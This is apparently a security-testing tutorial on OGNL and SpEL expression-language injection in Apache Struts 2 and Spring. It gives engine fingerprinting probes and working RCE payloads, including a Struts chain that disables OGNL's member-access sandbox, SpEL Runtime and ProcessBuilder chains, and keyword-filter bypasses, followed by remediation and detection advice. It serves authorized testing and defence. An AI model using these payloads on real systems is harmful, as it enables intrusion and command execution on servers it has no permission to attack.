Expression Language Injection (OGNL & SpEL): Detection, RCE, and Defenses
Expression Language (EL) injection is the Java ecosystem's most reliable path from a single tainted parameter to full remote code execution. Where Server-Side Template Injection abuses template engines, EL injection abuses the standalone expression evaluators that Java frameworks embed for data binding, configuration, validation, and view rendering — most notably OGNL (Object-Graph Navigation Language, the engine behind Apache Struts 2) and SpEL (the Spring Expression Language). Both are full Turing-complete languages with direct access to the Java reflection API. If you can get user input evaluated as OGNL or SpEL, you can almost always reach java.lang.Runtime and execute commands.
This guide assumes you are testing systems you are authorized to assess. We cover detection probes that fingerprint the engine, the canonical RCE chains for Struts and Spring, the static-context and sandbox-escape techniques that defeat partial hardening, and the remediation that actually closes the hole rather than playing payload whack-a-mole.
Why EL Injection Is So Dangerous
OGNL and SpEL were never designed as a security boundary. They exist to let framework authors and templates navigate object graphs concisely — user.address.city, #{order.total * 1.2}. Because they are general-purpose languages, they expose method invocation, constructor calls, static field access, and class loading. The moment attacker-controlled text reaches the evaluator, the attacker inherits the JVM's full capability set under the application's privileges.
The classic failure pattern is double evaluation: a framework evaluates a value once as data, then a second component re-evaluates the resulting string as an expression. Struts is the textbook case — a request parameter is stored, then later a tag or interceptor passes it back through OGNL. The developer never wrote evaluate(userInput) anywhere, yet the input is evaluated all the same.
Detection: Fingerprinting the Engine
Detection mirrors SSTI: inject a deterministic arithmetic expression and look for the evaluated result. The trick is using syntax unique to each engine so a single response tells you both whether evaluation happens and which engine you hit.
# Generic arithmetic probes
${7*7} -> 49 (JSP EL / deferred EL contexts)
%{7*7} -> 49 (Struts/OGNL "force evaluation" syntax)
#{7*7} -> 49 (SpEL in @Value, Thymeleaf, deferred EL)
{{7*7}} -> 49 (template-layer SSTI, often chained)
# String concatenation distinguishes engines
%{'a'+'b'} -> "ab" (OGNL accepts + on strings)
#{'a'+'b'} -> "ab" (SpEL accepts + on strings)
${'a'+'b'} -> error (classic JSP EL: + is numeric only)
For OGNL specifically, the %{...} wrapper is the signal of "force OGNL evaluation" inside a Struts value. For SpEL, the #{...} template form is what Spring uses in @Value annotations and parsed expressions. If you only see ${7*7} resolve, you may be in plain JSP EL, which is far more restricted — but it can still be the entry point for deferred evaluation that lands in SpEL or OGNL downstream.
When you are unsure which evaluation context you are in, fuzz the wrappers systematically. A payload library that organizes EL/SSTI probes by engine speeds this up considerably — our SSTI payload generator includes OGNL and SpEL variants alongside the template-engine set so you can spray the full matrix and watch which marker reflects.
OGNL & Struts 2: The Canonical RCE Chains
Struts 2 has produced a long line of critical OGNL CVEs (S2-045/CVE-2017-5638, S2-057, and others). The core technique is the same across them: get OGNL to invoke Runtime.exec() or, more robustly, build a process via ProcessBuilder and stream the output back into the HTTP response so it is reflected to you.
Modern OGNL added a SecurityMemberAccess layer that blocks static method calls and restricts member access by default. Reliable exploits therefore first disarm that layer, then execute. The hallmark of an S2-style chain is the preamble that flips _memberAccess back to an unrestricted instance:
%{
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']),
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)),
(#ognlUtil.getExcludedPackageNames().clear()),
(#ognlUtil.getExcludedClasses().clear()),
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
Read this top-down: the first clause restores member access (defeating the sandbox), then the chain detects the OS, builds an argument list, starts a process with merged stderr, grabs the live servlet response stream out of the OGNL context, and copies the command output directly into your HTTP response. The output streaming step is what makes OGNL exploitation so clean — no blind/OOB gymnastics required, you get command results inline.
In S2-045 the injection point was the Content-Type header, parsed during multipart error handling. The lesson for testers: EL injection points are not limited to form fields. Headers, file names, and any value that flows into an error message or tag are candidates.
SpEL: Reflection and the Constructor Trick
SpEL injection turns up in Spring Security expression strings, @Value annotations fed from external config, Spring Data query derivation, Spring Integration routers, and Thymeleaf #{...} contexts. SpEL's T() operator references types directly, which is the most compact route to RCE:
# Direct via T() type reference (works when T() is allowed)
#{T(java.lang.Runtime).getRuntime().exec('id')}
# Reflective constructor route — avoids T() when it is filtered
#{''.getClass().forName('java.lang.Runtime')
.getMethod('exec',T(String))
.invoke(''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime').invoke(null),'id')}
# Constructor invocation of ProcessBuilder
new java.lang.ProcessBuilder(new String[]{'/bin/sh','-c','id'}).start()
As with OGNL, Runtime.exec() returns a Process, not text. If the application reflects the evaluation result, prefer a chain that reads the process stream:
new java.io.BufferedReader(
new java.io.InputStreamReader(
new java.lang.ProcessBuilder(
new String[]{'/bin/sh','-c','id'}).start().getInputStream()
)
).readLine()
SpEL is also a powerful blind primitive. When nothing reflects, exfiltrate via DNS or HTTP from inside the expression — for example invoking InetAddress.getByName() against a unique subdomain, or opening a URL connection. That moves the problem into the same OOB-detection space as blind command injection; the methodology in our command injection testing guide applies directly to confirming blind SpEL/OGNL execution with out-of-band callbacks.
Sandbox Escapes and Filter Bypasses
Defenders rarely remove the evaluator; they try to constrain it. Knowing the common constraints — and their gaps — is the difference between a "filtered, low severity" finding and a confirmed RCE.
- SimpleEvaluationContext (SpEL): Spring's hardened context disables type references, constructors, and bean references. If the application built its parser with
SpelExpressionParserand a defaultStandardEvaluationContext, you have full power. If it usesSimpleEvaluationContext, property/method access on supplied root objects may still be reachable — pivot through whatever objects are exposed. - OGNL excluded classes/packages: later Struts versions blocklist
java.lang.Runtime,ProcessBuilder, and reflection helpers. ThegetExcludedClasses().clear()/getExcludedPackageNames().clear()preamble shown above neutralizes these lists at runtime — which is why blocklists are not a real fix. - Keyword filters: WAFs and naive sanitizers grep for
Runtime,exec, orgetRuntime. Break the literals with concatenation and reflection:''.getClass().forName('java.lang.Ru'+'ntime'), or reference methods by name strings so the dangerous tokens never appear contiguously. - String literal restrictions: where quotes are stripped, build strings from
T(java.lang.Character).toString(105)and concatenation, or use char arrays. OGNL and SpEL both let you assemble arbitrary strings arithmetically.
EL injection frequently rides alongside Java deserialization in the same target's gadget surface — both abuse reflection to reach Runtime. If your EL primitive is constrained, the available classpath gadgets often point to a parallel deserialization sink. Our insecure deserialization cheat sheet catalogs the Java gadget chains worth checking once you have proven the JVM is reachable.
Distinguishing EL Injection from SSTI
Testers conflate the two, which leads to wrong payloads and missed bugs. SSTI lives in a template engine (Freemarker, Thymeleaf, Velocity) and the injection is template directive syntax. EL injection lives in a standalone evaluator reached through framework plumbing — and the same template can host both layers. Thymeleaf is the clearest example: [[${...}]] is template EL, while __${...}__ preprocessing and SpEL fragment expressions reach the SpEL evaluator with far fewer guardrails. When a Thymeleaf ${7*7} probe returns 49 but RCE payloads fail, switch to the SpEL fragment/preprocessing syntax before concluding the engine is sandboxed.
Defenses and Remediation
The only durable fix is to never evaluate untrusted input as an expression. Concretely:
- Never concatenate user input into an expression or template string. Pass it as a bound variable/parameter so the evaluator treats it as data, not code. This single rule eliminates the double-evaluation class.
- Use SpEL's
SimpleEvaluationContext, neverStandardEvaluationContext, for any expression that touches external data. It disables type references, constructors, and bean access — the building blocks of every RCE chain above. - Keep Struts 2 patched and avoid forced OGNL evaluation of request data. Do not use
%{...}around values that originate from parameters, and disable dynamic method invocation. Treat blocklist hardening as defense-in-depth only, not the boundary. - Apply allowlist input validation on any field that could reach an evaluator, restricting to the minimal expected character set (e.g.
[A-Za-z0-9_-]for identifiers). Reject rather than sanitize. - Run the JVM with least privilege — a non-root service account and a restrictive container profile (seccomp, read-only filesystem) limit the blast radius if an evaluation slips through.
- Detect with logging: alert on expression metacharacters (
%{,#{,T(,getRuntime) appearing in parameters and headers. These almost never occur in legitimate traffic.
Key Takeaways
OGNL and SpEL injection are the Java path to RCE because the evaluators are full languages wired straight into reflection. Fingerprint with engine-specific arithmetic probes (%{7*7} for OGNL, #{7*7} for SpEL), then escalate through reflective Runtime/ProcessBuilder chains — disarming OGNL's SecurityMemberAccess or routing around SpEL's T() filters as needed, and streaming output back into the response for clean confirmation. Remember that injection points include headers and error messages, not just form fields, and that the same target's reflection surface often exposes a parallel deserialization sink. On the defense side, bind input as data, choose SimpleEvaluationContext, patch the framework, and validate with allowlists — payload blocklists alone never hold against an attacker who can rewrite the sandbox at runtime.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides